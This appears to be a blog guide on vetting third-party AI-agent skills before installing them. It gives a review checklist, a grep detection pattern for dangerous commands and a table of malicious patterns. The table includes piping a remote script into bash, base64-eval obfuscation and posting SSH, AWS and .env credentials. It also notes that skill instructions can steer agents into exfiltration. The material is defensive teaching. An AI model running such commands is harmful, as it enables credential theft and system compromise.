Installing a skill is a lot like installing software — a skill is a program someone else wrote, not just a prompt. It reads files, runs commands and accesses the network, with whatever permissions your agent has.

This post gives a five-minute review process and the most common dangerous patterns.

1. Why skills carry risk

PartRisk
SKILL.md instructionsCan steer the agent into running commands, reading sensitive files, exfiltrating data
scripts/ and other codeActual code: network calls, file writes, config changes

The more capable the agent, the bigger the blast radius of a skill.

2. Five-minute review

Step 1: look at the tree

find skill-dir -type f | head -50
  • scripts/, bin/, install.sh → continue to step 2
  • Only SKILL.md + README.md → lower risk, still read the instructions

Step 2: grep for dangerous actions

grep -nE "curl|wget|bash|sh -c|sudo|chmod|rm -rf|eval|base64" SKILL.md

Step 3: read the scripts

head -40 scripts/*.sh scripts/*.py 2>/dev/null

Step 4: check the permissions it wants

  • Does it need sudo / root?
  • Does it read ~/.ssh, ~/.aws, .env, the keychain?
  • Does it use the network — and where does data go?

Step 5: decide

If any answer is unclear, don’t install.

3. Common malicious/dangerous patterns

PatternExampleWhy it’s dangerous
Remote executioncurl https://x.sh | bashWhat you see may differ from what runs
Credential exfiltrationreading ~/.ssh/id_rsa, .aws/credentials, .env and posting themaccount takeover
Shell config editswriting export PATH=... into .zshrcpersistence that survives reinstalling the skill
Silent exfiltrationbase64-encoding data and POSTing ithard to spot by eye
Excessive permissionssudo, chmod 777, disabling the firewallone mistake becomes system-wide
Obfuscated executioneval "$(base64 -d ...)"review can’t see the behavior
Supply chaincloning any repo and running its install.shyou trust the repo, not the content

Remember: curl | bash is the most common entry point. If you see it, don’t install by default.

4. Least privilege

  1. No root / sudo — run the agent as a normal user;
  2. Isolate first — try it in a separate user directory or container;
  3. Limit network — run untrusted skills offline first;
  4. Read-only sensitive dirs — no write access to ~/.ssh, .aws, .env;
  5. Keep it removable — record the file list so you can clean up.

5. Three-step verification

1. Read SKILL.md — what does it ask you to do?
2. Read scripts/ — what does the code actually do?
3. Sandbox run — offline + empty directory, watch what it writes

Only then install it into your real environment.

6. What this site does

For reference, the skill library’s rules:

  • Only mirrors clearly licensed skills (MIT / Apache-2.0 / CC0); the rest are index-only;
  • Each page shows script status: none / reviewed / unreviewed;
  • Every zip has a SHA256 and there’s a checksums.txt;
  • Licensing and takedown policy live in the license page.

Even so, you should still read it yourself — we check for obvious problems, not guarantee absolute safety.

7. In one sentence

A skill’s permissions are your agent’s permissions. Before installing, ask: if a stranger sent me this code, would I run it?

Get the next essay

New essays on products, business and tech — plus what the experiment's numbers actually say.

One-page checklist

The checks above are condensed into a printable two-page PDF: skill security checklist (EN).